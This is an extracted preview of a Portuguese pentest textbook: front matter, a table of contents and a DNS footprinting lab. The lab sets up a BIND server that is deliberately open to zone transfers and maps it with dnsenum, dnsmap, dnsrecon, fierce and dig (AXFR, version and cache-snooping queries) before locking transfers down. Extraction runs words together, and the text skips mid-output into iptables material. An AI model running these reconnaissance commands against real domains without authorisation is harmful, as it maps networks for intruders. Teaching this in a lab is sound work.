•
ESTÁCIO
Prévia do material em texto
<p>ddLivrosLivros</p><p>{ Baixe Livros de forma Rápida e Gratuita }</p><p>Converted by convertEPub</p><p>https://dlivros.com/</p><p>https://dlivros.org/</p><p>https://convertepub.com/</p><p>Daniel Moreno</p><p>Novatec</p><p>© Novatec Editora Ltda. 2015.</p><p>Todos os direitos reservados e protegidos pela Lei 9.610 de 19/02/1998. É</p><p>proibida a reprodução desta obra, mesmo parcial, por qualquer processo,</p><p>sem prévia autorização, por escrito, do autor e da Editora.</p><p>Editor: Rubens Prates</p><p>Assistente editorial: Priscila A.Yoshimatsu</p><p>Editoração eletrônica: Carolina Kuwabata</p><p>Revisão gramatical: Mari Kumagai</p><p>Capa: Carolina Kuwabata</p><p>ISBN: 978-85-7522-618-6</p><p>Histórico de edições impressas:</p><p>Junho/2017 Segunda reimpressão</p><p>Fevereiro/2016 Primeira reimpressão</p><p>Maio/2015 Primeira edição</p><p>Novatec Editora Ltda.</p><p>Rua Luís Antônio dos Santos 110</p><p>02460-000 – São Paulo, SP – Brasil</p><p>Tel.: +55 11 2959-6529</p><p>E-mail: novatec@novatec.com.br</p><p>Site: www.novatec.com.br</p><p>Twitter: twitter.com/novateceditora</p><p>Facebook: facebook.com/novatec</p><p>LinkedIn: linkedin.com/in/novatec</p><p>mailto:novatec%40novatec.com.br?subject=</p><p>http://www.novatec.com.br/</p><p>http://twitter.com/novateceditora</p><p>http://facebook.com/novatec</p><p>http://linkedin.com/in/novatec</p><p>Dedico minha primeira obra aos meus</p><p>pais Suzy e Geraldo Moreno.</p><p>Sumário</p><p>Agradecimentos</p><p>Sobre o autor</p><p>Prefácio</p><p>Capítulo 1 ■ Introdução à segurança da</p><p>informação e ao Kali Linux</p><p>1.1 Princípios de segurança da informação e proteção</p><p>de dados</p><p>1.2 Conhecendo o Kali Linux</p><p>Capítulo 2 ■ Preparando o ambiente de teste</p><p>2.1 Recursos necessários</p><p>2.2 Obtendo o Kali Linux</p><p>2.2.1 Instalação do VirtualBox</p><p>2.2.2 Instalação de uma máquina virtual</p><p>2.3 Configurando a rede no Kali Linux</p><p>2.4 Terminal de comandos</p><p>2.5 Atualizando o Kali Linux</p><p>2.6 Instalação do Debian</p><p>2.7 Backup da máquina virtual</p><p>Capítulo 3 ■ Pentest</p><p>3.1 O que é pentest?</p><p>3.2 Porque realizá-lo?</p><p>3.3 Tipos de pentest</p><p>3.3.1 Black-box</p><p>3.3.2 White-box</p><p>3.3.3 Gray-box</p><p>3.4 Análise de vulnerabilidade</p><p>3.5 Metodologias de pentest</p><p>3.5.1 Metodologia ISSAF</p><p>3.5.2 Metodologia OWASP</p><p>3.5.3Metodologia OSSTMM</p><p>3.5.4 Metodologia Backtrack</p><p>Capítulo 4 ■ Planejamento do projeto</p><p>4.1 Informações gerais</p><p>4.2 Objetivo do pentest</p><p>4.3 Limitações</p><p>4.4 Contrato de acordo</p><p>4.5 Linha do tempo</p><p>Capítulo 5 ■ Footprinting</p><p>5.1 DNS</p><p>5.1.1 Tipos de registro DNS</p><p>5.2 Laboratório – Enumeração DNS</p><p>5.3 Programas para enumeração DNS</p><p>5.3.1 DNSenum</p><p>5.3.2 DNSmap</p><p>5.3.3 DNSrecon</p><p>5.3.4 Fierce</p><p>5.4 Coleta de email</p><p>5.5 Firewall iptables</p><p>5.5.1 Comandos para gerenciamento do iptables</p><p>5.6 Informações de rota</p><p>5.6.1 Traceroute</p><p>5.6.2 TCPtraceroute</p><p>Capítulo 6 ■ Fingerprinting</p><p>6.1 Fingerprinting passivo</p><p>6.1.1 P0f</p><p>6.2 Fingerprinting ativo</p><p>6.2.1 Ping</p><p>6.2.2 Fping</p><p>6.2.3 Arping</p><p>6.2.4 Netdiscover</p><p>6.2.5 Hping3</p><p>6.2.6 Xprobe2</p><p>6.2.7 Maltego</p><p>Capítulo 7 ■ Enumeração</p><p>7.1 Modelo OSI</p><p>7.2 Protocolo TCP/IP</p><p>7.3 Port scanner</p><p>7.3.1 Nmap</p><p>7.4 O canivete suíço Netcat</p><p>7.4.1 Laboratório Netcat</p><p>7.5 Enumeração SMTP</p><p>7.5.1 Laboratório email</p><p>7.5.2 STMPUser enum</p><p>7.5.3 Como enviar emails falsos (via PHP)</p><p>7.5.4 Como enviar emails falsos (via Open Relay)</p><p>7.6 Enumeração SNMP</p><p>7.6.1 SNMPcheck</p><p>7.6.2 OneSixtyOne</p><p>Capítulo 8 ■ Mapeamento de vulnerabilidades</p><p>8.1 Tipos de vulnerabilidades</p><p>8.1.1 Vulnerabilidade local</p><p>8.1.2 Vulnerabilidade remota</p><p>8.2 Scanners de vulnerabilidade</p><p>8.2.1 OpenVAS</p><p>8.2.2 Nessus</p><p>Capítulo 9 ■ Exploração do alvo</p><p>9.1 Metasploit</p><p>9.1.1 Msfconsole</p><p>9.1.2 Comandos básicos</p><p>9.2 A vulnerabilidade MS12-020-maxchannelids</p><p>9.3 Exploitando Windows vulnerável</p><p>9.4 Payload Meterpreter</p><p>9.4.1 Core commands</p><p>9.4.2 File system commands</p><p>9.4.3 Networking commands</p><p>9.4.4 System commands</p><p>9.4.5 User Interface commands</p><p>9.5 Pivoting com Metasploit</p><p>9.6 VPN Pivoting (Pivoting via Layer 2)</p><p>9.7 Vulnerabilidade shellshock</p><p>9.8 Explorando servidores NFS mal configurados</p><p>9.9 Explorando X Window System</p><p>Capítulo 10 ■ Engenharia social</p><p>10.1 Processo de ataque</p><p>10.2Tipos de engenharia social</p><p>10.3 SET (Social Engineering Toolkit)</p><p>10.4 Office 2010 pptimpconv DLL hijacking</p><p>10.5 Macros maliciosas</p><p>10.6 Internet Explorer ms10_046</p><p>10.7 Internet Explorer</p><p>um</p><p>registro DNS do tipo A associa o nome DNS a um IP, um</p><p>registro do tipo HINFO associa o nome DNS a</p><p>informações de hardware.</p><p>5.1.1 Tipos de registro DNS</p><p>O servidor DNS responde a solicitações graças aos</p><p>registros. Saber identificar os principais tipos de registro</p><p>DNS é fundamental para entendermos o que estamos</p><p>testando. Os principais tipos de registro são:</p><p>• NS (Name Server) – O registro NS identifica quem</p><p>são os servidores DNS primário e secundário.</p><p>Exemplo:</p><p>kali.com.br.IN NSnameserver1.kali.com.br</p><p>• A – Endereço de host [Host address (A) resource</p><p>record] – Associa nomes DNS com endereços IPv4.</p><p>Exemplos:</p><p>kali.com.INA127.0.0.1</p><p>kali.com.br.INA192.168.1.2</p><p>kali2.com.br.INA192.168.1.3</p><p>• AAAA – Endereço de host IPv6 [IPv6 host address</p><p>(AAAA)] – Associa nomes DNS com endereços IPv6.</p><p>Exemplo:</p><p>ipv6_host1.kali.com.INAAAA4321:0:1:2:3:4:567:89ab</p><p>• CNAME (Canonical Name) – Mapeia um alias</p><p>(apelido) de um servidor DNS para outro servidor DNS.</p><p>O registro CNAME é utilizado quando é necessário criar</p><p>vários nomes para um único DNS. Por exemplo: o</p><p>servidor web da empresa tem o endereço virtual</p><p>www.servidor.com.br (IP 1.1.1.1), o servidor FTP tem o</p><p>endereço ftp.servidor.com.br (IP 1.1.1.1), o servidor</p><p>SMTP tem o endereço smtp.servidor.com.br (IP</p><p>1.1.1.1). Com o CNAME é possível que os três</p><p>servidores sejam uma máquina só (todos com o</p><p>mesmo IP) e respondam por nomes diferentes.</p><p>Exemplos:</p><p>www.servidor.com.br.CNAMEservidor.com.br.</p><p>ftp.servidor.com.br.CNAMEservidor.com.br.</p><p>smtp.servidor.com.br.CNAMEservidor.com.br.</p><p>• HINFO (Host Information) – Informações do host:</p><p>CPU, tipo e versão do sistema operacional etc.</p><p>Exemplo:</p><p>kali.com.br.HINFOINTEL-386 LINUX</p><p>• MX (Mail Exchanger) – Utilizado para armazenar</p><p>informações relativas a servidores de email.</p><p>Exemplos:</p><p>kali.com.br.MX5mail1.kali.com.br</p><p>kali.com.br.MX10mail2.kali.com.br</p><p>Nota: os números indicam a ordem de preferência daquele servidor de</p><p>email. No exemplo anterior, mail1 (com prioridade 5) tem maior</p><p>prioridade sobre o mail2 (com prioridade 10).</p><p>• PTR (Pointer) – É utilizado com o intuito de criar</p><p>zonas reversas. O registro PTR realiza o mapeamento</p><p>de um número IP para um nome (oposto ao registro</p><p>A). Ao criar um registro do tipo A em uma zona direta,</p><p>você cria o registro PTR para que uma consulta ao seu</p><p>servidor DNS seja estabelecida com sucesso.</p><p>Exemplo:</p><p>1.168.192.in-addr.arpa.PTRhost.kali.com.br.</p><p>• SOA (Start of authority) – É o registro que define</p><p>características de uma zona.</p><p>Exemplo:</p><p>@ IN SOA nameserver.kali.com.br. postmaster.kali.com.br. (</p><p>1;serial number</p><p>3600;refresh [1h]</p><p>600;retry [10m]</p><p>86400;expire [1d]</p><p>3600 );min TTL [1h]</p><p>5.2 Laboratório – Enumeração DNS</p><p>Para realizar uma enumeração DNS e determinar a</p><p>topologia da rede em questão, vamos configurar o nosso</p><p>próprio servidor com uma falha de transferência de zona.</p><p>Primeiro configure a rede para a faixa de IP</p><p>192.168.1.0/24. Essa configuração pode ser feita no</p><p>roteador, conforme mostra a figura 5.2.</p><p>Figura 5.2 – Rede configurada para a faixa de IP</p><p>192.168.1.0/24.</p><p>O Debian deverá receber estaticamente o IP</p><p>192.168.1.102 por causa das configurações de DNS:</p><p>root@debian# killall NetworkManager</p><p>root@debian# killall dhclient</p><p>root@debian# ifconfig eth0 0.0.0.0</p><p>root@debian# ifconfig eth0 192.168.1.102</p><p>root@debian# route add default gw 192.168.1.1 eth0</p><p>Nota: o processo estático realizado manualmente no Debian também</p><p>pode ser feito por meio de requisições DHCP. Mas para isso é necessário</p><p>certificar-se de que o endereço MAC do Debian recebe o IP</p><p>192.168.1.102. Esse processo pode ser realizado no roteador. Como</p><p>cada roteador possui uma forma de configuração que difere a cada</p><p>fornecedor, encorajo o leitor a realizar esse procedimento de acordo com</p><p>o seu roteador.</p><p>Instale o bind9 (servidor DNS) no Debian:</p><p>root@debian# apt-get install bind9</p><p>O arquivo /etc/bind/named.conf deve conter o seguinte:</p><p>include " /etc/bind/named.conf.options";</p><p>include " /etc/bind/named.conf.local";</p><p>include " /etc/bind/named.conf.default-zones";</p><p>zone "kali.com.br" {</p><p>type master;</p><p>file " /etc/bind/db.kali.com.br";</p><p>};</p><p>zone "1.168.192.in-addr.arpa" {</p><p>type master;</p><p>file " /etc/bind/db.1.168.192";</p><p>};</p><p>A configuração do arquivo /etc/bind/named.conf contém</p><p>informações básicas do DNS, como arquivos de</p><p>configuração em geral, o nome DNS e qual IP está</p><p>associado àquele DNS.</p><p>O servidor DNS deve armazenar as informações do</p><p>domínio em uma espécie de banco de dados. Esse banco</p><p>de dados contendo a relação registro e IP é armazenado</p><p>nos arquivos de zona. Existem dois tipos de arquivo de</p><p>zona: direta e reversa. O arquivo de zona direta é usado</p><p>para mapear nomes de computador para endereços IP</p><p>(/etc/bind/db.kali.com.br), enquanto o arquivo de zona</p><p>reversa (/etc/bind/db.1.168.192) é usado para mapear</p><p>endereços IP para nomes de computador.</p><p>Primeiro será configurada a zona direta.</p><p>O arquivo /etc/bind/db.kali.com.br deve ter o seguinte</p><p>conteúdo:</p><p>;</p><p>; Zone file for kali.com.br</p><p>;</p><p>$TTL 86400</p><p>@INSOAkali.com.br.root.kali.com.br. (</p><p>2012010100; serial</p><p>7200; refresh</p><p>1800; retry</p><p>1209600; expire</p><p>300 ); minimum</p><p>@INNSns1</p><p>@INNSns2</p><p>@INNSfirewall</p><p>@INMX0mail</p><p>@INA192.168.1.102</p><p>ns1A192.168.1.102</p><p>ns2A192.168.1.102</p><p>firewallA192.168.1.102</p><p>mailA192.168.1.102</p><p>wwwCNAME@</p><p>ftpCNAMEwww</p><p>pop3CNAMEfirewall</p><p>testeCNAMEns1</p><p>smtpCNAMEfirewall</p><p>servidor2CNAMEns2</p><p>servidor1CNAMEns1</p><p>adminCNAMEfirewall</p><p>administracaoCNAMEns1</p><p>rioclaroCNAMEwww</p><p>dnsCNAMEns2</p><p>O arquivo /etc/bind/db.kali.com.br contém as</p><p>configurações do domínio kali.com.br (zona direta) feitas</p><p>por meio dos registros DNS.</p><p>O registro SOA armazena informações como expiração e</p><p>renovação do registro.</p><p>Podemos observar também que os registros principais</p><p>(registros NS) são de nome ns1, ns2 e firewall</p><p>(ns1.kali.com.br, ns2.kali.com.br, firewall.kali.com.br),</p><p>que correspondem ao IP 192.168.1.102.</p><p>Nesse arquivo de configuração há outros registros que</p><p>são apelidos (CNAME) para outros (FTP, POP3 e SMTP).</p><p>Uma vez configurada a zona direta, o leitor deverá</p><p>configurar a zona reversa.</p><p>O arquivo /etc/bind/db.1.168.192 deve ter o seguinte</p><p>conteúdo:</p><p>;</p><p>; Reverse zone file for dominio.com.br</p><p>;</p><p>$TTL 86400</p><p>@INSOAkali.com.br.root.kali.com.br. (</p><p>2012010100; serial</p><p>7200; refresh</p><p>1800; retry</p><p>1209600; expire</p><p>300 ); minimum</p><p>@INNSns1.kali.com.br.</p><p>@INNSns2.kali.com.br.</p><p>@INNSfirewall.kali.com.br.</p><p>102PTRkali.com.br.</p><p>102PTRns1.kali.com.br.</p><p>102PTRns2.kali.com.br.</p><p>102PTRfirewall.kali.com.br</p><p>102PTRmail.kali.com.br.</p><p>A zona reversa vai associar os registros definidos na zona</p><p>direta ao final do IP. Por exemplo, o domínio</p><p>ns1.kali.com.br está associado ao IP 192.168.1.102 (linha</p><p>102 PTR ns1.kali.com.br.).</p><p>• Após configurar os dois arquivos, reinicie o BIND:</p><p>root@debian# service bind9 stop</p><p>root@debian# service bind9 start</p><p>• Verifique se a configuração está correta:</p><p>root@debian# named-checkconf</p><p>Caso não apareça nenhuma mensagem de erro, a</p><p>configuração do servidor DNS está OK.</p><p>O Kali Linux deverá ser configurado para consultar o DNS</p><p>do Debian. Para isso, no Kali Linux, altere o arquivo</p><p>/etc/resolv.conf para o seguinte conteúdo:</p><p>nameserver 192.168.1.102</p><p>search kali.com.br</p><p>Dessa forma, o Kali Linux vai realizar consultas DNS por</p><p>meio do servidor 192.168.1.102.</p><p>Verifique se o servidor DNS do Debian está respondendo</p><p>perguntas com o comando nslookup:</p><p>root@kali# nslookup kali.com.br</p><p>Server:</p><p>192.168.1.102</p><p>Address: 192.168.1.102#53</p><p>Name:kali.com.br</p><p>Address: 192.168.1.102</p><p>5.3 Programas para enumeração</p><p>DNS</p><p>Os programas para enumeração DNS têm como objetivo</p><p>realizar o mapeamento dos servidores DNS ativos. Esta</p><p>seção apresentará as principais ferramentas para coleta</p><p>de informação em DNS. Lembrando que estas não são as</p><p>únicas ferramentas existentes, porém as ferramentas</p><p>citadas são as principais utilizadas em uma varredura</p><p>DNS.</p><p>5.3.1 DNSenum</p><p>A ferramenta DNSenum permite pesquisar hosts, nomes</p><p>de servidores, registros MX, IPs etc. Caso digite somente</p><p>dnsenum, surgirão todas as opções e comandos</p><p>possíveis para utilização da ferramenta.</p><p>root@kali# dnsenum kali.com.br</p><p>O resultado do programa será algo similar ao</p><p>apresentado:</p><p>----- kali.com.br -----</p><p>Host's addresses:</p><p>kali.com.br.86400INA192.168.1.102</p><p>Name Servers:</p><p>ns1.kali.com.br.86400INA192.168.1.102</p><p>ns2.kali.com.br.86400INA192.168.1.102</p><p>firewall.kali.com.br.86400INA192.168.1.102</p><p>Mail (MX) Servers:</p><p>mail.kali.com.br.86400INA192.168.1.102</p><p>Trying Zone Transfers and getting Bind Versions:</p><p>Trying Zone Transfer for kali.com.br on firewall.kali.com.br ...</p><p>kali.com.br.86400INSOAkali.com.br.</p><p>kali.com.br.86400INNSns1.kali.com.br.</p><p>kali.com.br.86400INNSns2.kali.com.br.</p><p>kali.com.br.86400INNSfirewall.kali.com.br.</p><p>kali.com.br.86400INMX0</p><p>kali.com.br.86400INA192.168.1.102</p><p>admin.kali.com.br.86400INCNAMEfirewall.kali.com.br.</p><p>administracao.kali.com.br.86400INCNAMEns1.kali.com.br.</p><p>dns.kali.com.br.86400INCNAMEns2.kali.com.br.</p><p>firewall.kali.com.br.86400INA192.168.1.102</p><p>ftp.kali.com.br.86400INCNAMEwww.kali.com.br.</p><p>mail.kali.com.br.86400INA192.168.1.102</p><p>ns1.kali.com.br.86400INA192.168.1.102</p><p>ns2.kali.com.br.86400INA192.168.1.102</p><p>pop3.kali.com.br.86400INCNAMEfirewall.kali.com.br.</p><p>rioclaro.kali.com.br.86400INCNAMEwww.kali.com.br.</p><p>servidor1.kali.com.br.86400INCNAMEns1.kali.com.br.</p><p>servidor2.kali.com.br.86400INCNAMEns2.kali.com.br.</p><p>smtp.kali.com.br.86400INCNAMEfirewall.kali.com.br.</p><p>teste.kali.com.br.86400INCNAMEns1.kali.com.br.</p><p>www.kali.com.br.86400INCNAMEkali.com.br.</p><p>Trying Zone Transfer for kali.com.br on ns2.kali.com.br ...</p><p>kali.com.br.86400INSOAkali.com.br.</p><p>kali.com.br.86400INNSns1.kali.com.br.</p><p>kali.com.br.86400INNSns2.kali.com.br.</p><p>kali.com.br.86400INNSfirewall.kali.com.br.</p><p>kali.com.br.86400INMX0</p><p>kali.com.br.86400INA192.168.1.102</p><p>admin.kali.com.br.86400INCNAMEfirewall.kali.com.br.</p><p>administracao.kali.com.br.86400INCNAMEns1.kali.com.br.</p><p>dns.kali.com.br.86400INCNAMEns2.kali.com.br.</p><p>firewall.kali.com.br.86400INA192.168.1.102</p><p>ftp.kali.com.br.86400INCNAMEwww.kali.com.br.</p><p>mail.kali.com.br.86400INA192.168.1.102</p><p>ns1.kali.com.br.86400INA192.168.1.102</p><p>ns2.kali.com.br.86400INA192.168.1.102</p><p>pop3.kali.com.br.86400INCNAMEfirewall.kali.com.br.</p><p>rioclaro.kali.com.br.86400INCNAMEwww.kali.com.br.</p><p>servidor1.kali.com.br.86400INCNAMEns1.kali.com.br.</p><p>servidor2.kali.com.br.86400INCNAMEns2.kali.com.br.</p><p>smtp.kali.com.br.86400INCNAMEfirewall.kali.com.br.</p><p>teste.kali.com.br.86400INCNAMEns1.kali.com.br.</p><p>www.kali.com.br.86400INCNAMEkali.com.br.</p><p>Trying Zone Transfer for kali.com.br on ns1.kali.com.br ...</p><p>kali.com.br.86400INSOAkali.com.br.</p><p>kali.com.br.86400INNSns1.kali.com.br.</p><p>kali.com.br.86400INNSns2.kali.com.br.</p><p>kali.com.br.86400INNSfirewall.kali.com.br.</p><p>kali.com.br.86400INMX0</p><p>kali.com.br.86400INA192.168.1.102</p><p>admin.kali.com.br.86400INCNAMEfirewall.kali.com.br.</p><p>administracao.kali.com.br.86400INCNAMEns1.kali.com.br.</p><p>dns.kali.com.br.86400INCNAMEns2.kali.com.br.</p><p>firewall.kali.com.br.86400NA192.168.1.102</p><p>ftp.kali.com.br.86400INCNAMEwww.kali.com.br.</p><p>mail.kali.com.br.86400INA192.168.1.102</p><p>ns1.kali.com.br.86400INA192.168.1.102</p><p>ns2.kali.com.br.86400INA192.168.1.102</p><p>pop3.kali.com.br.86400INCNAMEfirewall.kali.com.br.</p><p>rioclaro.kali.com.br.86400INCNAMEwww.kali.com.br.</p><p>servidor1.kali.com.br.86400INCNAMEns1.kali.com.br.</p><p>servidor2.kali.com.br.86400INCNAMEns2.kali.com.br.</p><p>smtp.kali.com.br.86400INCNAMEfirewall.kali.com.br.</p><p>teste.kali.com.br.86400INCNAMEns1.kali.com.br.</p><p>www.kali.com.br.86400INCNAMEkali.com.br.</p><p>Note que o DNSenum realiza a transferência de zona</p><p>para cada registro NS (ns1,ns2,firewall), conseguindo</p><p>enumerar todos os registros associados ao nosso</p><p>servidor. O nosso servidor DNS tem uma falha que</p><p>permite a um atacante mapear toda a rede por meio da</p><p>transferência de zona (somente o servidor escravo deve</p><p>estar habilitado a essa atividade, e não qualquer pessoa).</p><p>Vamos configurar o nosso BIND para corrigir essa falha.</p><p>O arquivo /etc/bind/named.conf.options do servidor DNS</p><p>(máquina Debian) deve ter o seguinte conteúdo:</p><p>options {</p><p>directory " /var/cache/bind";</p><p>allow-transfer {192.168.1.1;};</p><p>};</p><p>Nota: a configuração do arquivo /etc/bind/named.conf.options é apenas</p><p>uma configuração exemplo. Nele, o nosso servidor DNS permite</p><p>transferência de zona para o IP 192.168.1.1. A maneira mais</p><p>recomendada de configurar uma transferência de zona é entre</p><p>servidores DNS primário e secundário, porém, apenas por questões</p><p>didáticas, essa configuração é implementada e já bloqueia tentativas de</p><p>transferência de zona.</p><p>• Verifique o arquivo de configuração:</p><p>root@debian# named-checkconf</p><p>• Reinicie o serviço de DNS:</p><p>root@debian# service bind9 force-reload</p><p>• Tente realizar novamente a enumeração por meio do</p><p>DNSenum:</p><p>root@kali# dnsenum kali.com.br</p><p>A saída do comando DNSenum será similar a este código</p><p>(editado por motivos visuais):</p><p>Trying Zone Transfer for kali.com.br on ns2.kali.com.br ...</p><p>AXFR record query failed: Response code from server: REFUSED</p><p>Trying Zone Transfer for kali.com.br on firewall.kali.com.br ...</p><p>AXFR record query failed: Response code from server: REFUSED</p><p>Trying Zone Transfer for kali.com.br on ns1.kali.com.br ...</p><p>AXFR record query failed: Response code from server: REFUSED</p><p>brute force file not specified, bay.</p><p>Atente, leitor, para o fato de que o DNSenum tenta</p><p>realizar a transferência de zona para cada registro NS</p><p>(ns1, ns2, firewall), mas dessa vez sem sucesso. Isso</p><p>porque no arquivo de configuração</p><p>/etc/bind/named.conf.options é permitida a transferência</p><p>de zona somente para o IP 192.168.1.1.</p><p>Servidores DNS que permitem transferência de zona</p><p>apresentam uma falha gravíssima, pois o atacante obterá</p><p>toda a topologia (quais são os IPs que pertencem àquele</p><p>domínio) da rede, portanto lembre-se sempre de nunca</p><p>permitir uma transferência de zona (embora a</p><p>transferência de zona não permita uma invasão, o</p><p>atacante terá a sua infraestrutura mapeada).</p><p>Sabendo-se quais são os domínios da rede (pela</p><p>transferência de zona ou por ataques de força bruta –</p><p>conteúdo a ser visto mais adiante), o diagrama da rede é</p><p>montado e pode ser iniciada a busca por vulnerabilidades</p><p>naquele domínio.</p><p>Garantir que o servidor DNS primário realize a</p><p>transferência de zona somente para o servidor</p><p>secundário é uma medida de prevenção (não garante</p><p>que a rede não será atacada, mas sua topologia não será</p><p>entregue de maneira tão fácil ao atacante).</p><p>Porém, mesmo em um cenário em que não é possível</p><p>realizar a transferência de zona, pode-se tentar descobrir</p><p>quais são as máquinas da rede por meio de ataques de</p><p>força bruta (brute force). Nessa opção, uma lista de</p><p>palavras é criada com o intuito de testar uma a uma, até</p><p>descobrir qual é o nome que combina com o domínio</p><p>DNS.</p><p>Crie uma lista de palavras contendo os nomes do</p><p>domínio DNS. Por exemplo: adm, firewall etc. Coloque</p><p>também palavras que não fazem parte do DNS, como</p><p>pentest, auditoria etc.</p><p>• Para usar a opção de lista de palavras, utilize a</p><p>subopção –f:</p><p>root@kali# dnsenum –f wordlist kali.com.br</p><p>• O DNSenum contém uma lista de palavras excelente</p><p>que pode ser utilizada:</p><p>root@kali# dnsenum –f /usr/share/dnsenum/dns.txt kali.com.br</p><p>5.3.2 DNSmap</p><p>Outra ferramenta interessante e tão eficaz quanto o</p><p>DNSenum é o DNSmap, que já vem com uma lista de</p><p>palavras (wordlist) embutida para pesquisas.</p><p>root@kali# dnsmap kali.com.br</p><p>A subopção –w possibilita a utilização de lista de</p><p>palavras:</p><p>root@kali# dnsmap kali.com.br –w /root/wordlist</p><p>O resultado do DNSmap (para cada palavra encontrada</p><p>na lista de palavras):</p><p>[+] searching (sub)domains for kali.com.br using built-in wordlist</p><p>[+] using maximum random delay of 10 millisecond(s) between requests</p><p>admin.kali.com.br</p><p>IP address #1: 192.168.1.102</p><p>[+] warning: internal IP address disclosed</p><p>firewall.kali.com.br</p><p>IP address #1: 192.168.1.102</p><p>[+] warning: internal IP address disclosed</p><p>ftp.kali.com.br</p><p>IP address #1: 192.168.1.102</p><p>[+] warning: internal IP address disclosed</p><p>mail.kali.com.br</p><p>IP address #1: 192.168.1.102</p><p>[+] warning: internal IP address disclosed</p><p>ns1.kali.com.br</p><p>IP address #1: 192.168.1.102</p><p>[+] warning: internal IP address disclosed</p><p>ns2.kali.com.br</p><p>IP address #1: 192.168.1.102</p><p>[+] warning: internal IP address disclosed</p><p>pop3.kali.com.br</p><p>IP address #1: 192.168.1.102</p><p>[+] warning: internal IP address disclosed</p><p>smtp.kali.com.br</p><p>IP address #1: 192.168.1.102</p><p>[+] warning: internal IP address disclosed</p><p>www.kali.com.br</p><p>IP address #1: 192.168.1.102</p><p>[+] warning: internal IP address disclosed</p><p>[+] 9 (sub)domains and 9 IP address(es) found</p><p>[+] 9 internal IP address(es) disclosed</p><p>[+] completion time: 11 second(s)</p><p>5.3.3 DNSrecon</p><p>Nosso próximo aliado é o DNSrecon, sendo mais uma</p><p>opção para consultas DNS e enumeração de domínios.</p><p>Opções:</p><p>-d</p><p>domínio</p><p>Domínio a ser testado.</p><p>-D</p><p>wordlist</p><p>Lista de palavras a serem utilizadas no processo de adivinhação</p><p>do domínio. Cada palavra é testada como nome de domínio.</p><p>-t reg Tipo de registro a ser usado.</p><p>Exemplos:</p><p>root@kali# dnsrecon –d kali.com.br</p><p>root@kali# dnsrecon –d kali.com.br –D /root/wordlist –t brt</p><p>Vamos tentar realizar uma transferência de zona com o</p><p>registro axfr:</p><p>root@kali# dnsrecon –d kali.com.br –t axfr</p><p>A resposta é mostrada a seguir:</p><p>[*] Testing NS Servers for Zone Transfer</p><p>[*] Checking for Zone Transfer for kali.com.br name servers</p><p>[*] Resolving SOA Record</p><p>[*]SOA kali.com.br 192.168.1.102</p><p>[*] Resolving NS Records</p><p>[*] NS Servers found:</p><p>[*]NS ns1.kali.com.br 192.168.1.102</p><p>[*]NS ns2.kali.com.br 192.168.1.102</p><p>[*]NS firewall.kali.com.br 192.168.1.102</p><p>[*] Removing any duplicate NS server IP Addresses...</p><p>[*]</p><p>[*] Trying NS server 192.168.1.102</p><p>[*] 192.168.1.102 Has port 53 TCP Open</p><p>[-] Zone Transfer Failed!</p><p>[-]</p><p>Atente que o DNSrecon também não consegue efetuar a</p><p>transferência de zona.</p><p>5.3.4 Fierce</p><p>O Fierce é mais uma ferramenta excelente para</p><p>enumeração de domínios DNS.</p><p>Opções:</p><p>-dns Servidor DNS.</p><p>-</p><p>wordlist</p><p>Lista de palavras em que serão testados ataques de força</p><p>bruta.</p><p>Exemplo:</p><p>root@kali# fierce –dns kali.com.br –wordlist /root/wordlist</p><p>Obviamente há muito mais programas para enumeração</p><p>DNS do que apenas os citados, e, com certeza, um que</p><p>vale a pena ser citado é o comando dig, que é nativo do</p><p>Linux e pode ser utilizado para diversas finalidades,</p><p>como transferência de zona, enumeração da versão DNS</p><p>etc.</p><p>Para, por exemplo, realizarmos uma transferência de</p><p>zona com o dig, vamos consultar o registro axfr:</p><p>root@kali# dig @192.168.1.102 kali.com.br axfr</p><p>Para, por exemplo, enumerarmos a versão do BIND no</p><p>sistema alvo, vamos ver o conteúdo do registro chaos:</p><p>root@kali# dig @192.168.1.102 version.bind txt chaos</p><p>A resposta será (editado por motivos visuais):</p><p>;; QUESTION SECTION:</p><p>;version.bind.CHTXT</p><p>;; ANSWER SECTION:</p><p>version.bind. 0 CH TXT "9.8.4-rpz2+rl005.12-P1"</p><p>No campo ;; ANSWER SECTION: temos a versão BIND que</p><p>está rodando no servidor.</p><p>Algo bem interessante que podemos fazer com o dig é</p><p>bisbilhotar o cache DNS alvo. Por exemplo, quando</p><p>alguém acessa determinado site por meio de</p><p>determinado servidor DNS, o DNS armazena</p><p>temporariamente a requisição daquele site. Então, por</p><p>exemplo, se alguém acessou www.site.com.br por meio</p><p>do servidor DNS 192.168.1.102, nós podemos consultar o</p><p>cache local do servidor DNS 192.168.1.102 para saber se</p><p>alguém da rede acessou www.site.com.br.</p><p>Realize a consulta ao cache do servidor DNS</p><p>192.168.1.102:</p><p>root@kali# dig @192.168.1.102 www.novatec.com.br A +norecurse</p><p>A resposta será (editado por motivos visuais):</p><p>; > DiG 9.8.4-rpz2+rl005.12-P1 > @192.168.1.1</p><p>www.novatec.com.br A +norecurse</p><p>; (1 server found)</p><p>;; global options: +cmd</p><p>;; Got answer:</p><p>;; ->>HEADER> DiG 9.8.4-rpz2+rl005.12-P1 > @192.168.1.102</p><p>www.novatec.com.br A +norecurse</p><p>; (1 server found)</p><p>;; global options: +cmd</p><p>;; Got answer:</p><p>;; ->>HEADER</p><p>– Redirecionamento do tráfego de dados</p><p>da própria máquina para outra porta.</p><p>A tabela NAT é dividida em três chains:</p><p>• PREROUTING – Tráfego de dados que requerem</p><p>alterações antes de serem roteáveis. Por exemplo,</p><p>quando se utiliza o DNAT e para o redirecionamento</p><p>de portas para outros IPs que estão conectados sob o</p><p>firewall.</p><p>• POSTROUTING – Tráfego de dados que requerem</p><p>alterações depois de serem roteáveis, por exemplo,</p><p>quando se utiliza o SNAT e o IP Masquerading.</p><p>• OUTPUT – Tráfego de dados que saem do NAT.</p><p>A tabela Mangle não será abordada neste livro.</p><p>5.5.1 Comandos para gerenciamento do</p><p>iptables</p><p>Os principais comandos para gerenciamento do iptables</p><p>são:</p><p>–</p><p>L</p><p>Lista as regras do iptables (por padrão é a tabela Filter).</p><p>-t table Escolhe o tipo da tabela:</p><p>filter Tabela Filter. É a tabela-padrão caso nenhuma seja</p><p>especificada.</p><p>nat Tabela NAT.</p><p>mangle Tabela Mangle.</p><p>Exemplos:</p><p>iptables –L Lista as regras da tabela Filter.</p><p>iptables –L –t filter Lista as regras da tabela Filter.</p><p>iptables –L –t nat Lista as regras da tabela NAT.</p><p>iptables –L –t mangle Lista as regras da tabela Mangle.</p><p>Outros comandos:</p><p>-d</p><p>destino</p><p>Adiciona um destino.</p><p>-s origem Adiciona uma origem.</p><p>-p proto Aplica regra sobre o protocolo escolhido:</p><p>tcp 